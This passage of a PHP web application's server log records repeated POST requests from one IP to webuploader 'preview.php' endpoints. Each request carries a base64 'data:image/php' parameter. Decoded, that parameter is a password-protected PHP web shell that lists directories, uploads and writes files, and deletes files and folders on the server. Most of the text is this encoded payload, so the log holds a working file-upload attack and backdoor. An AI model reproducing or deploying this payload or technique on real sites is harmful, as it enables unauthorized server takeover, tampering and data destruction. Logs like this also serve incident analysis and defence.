AgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'static' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:34+08:00 ] 119.42.146.234 POST 51tianwei.com/app/admincp/ui/webuploader/0.1.5/server/preview.php [运行时间:0.002351s] [吞吐率:425.34req/s] [内存消耗:164.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'app', 2 => 'admincp', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsY' => '', 'ui' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:35+08:00 ] 119.42.146.234 POST 51tianwei.com/admin/include//webuploader/0.1.5/server/preview.php [运行时间:0.002642s] [吞吐率:378.51req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'include', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0i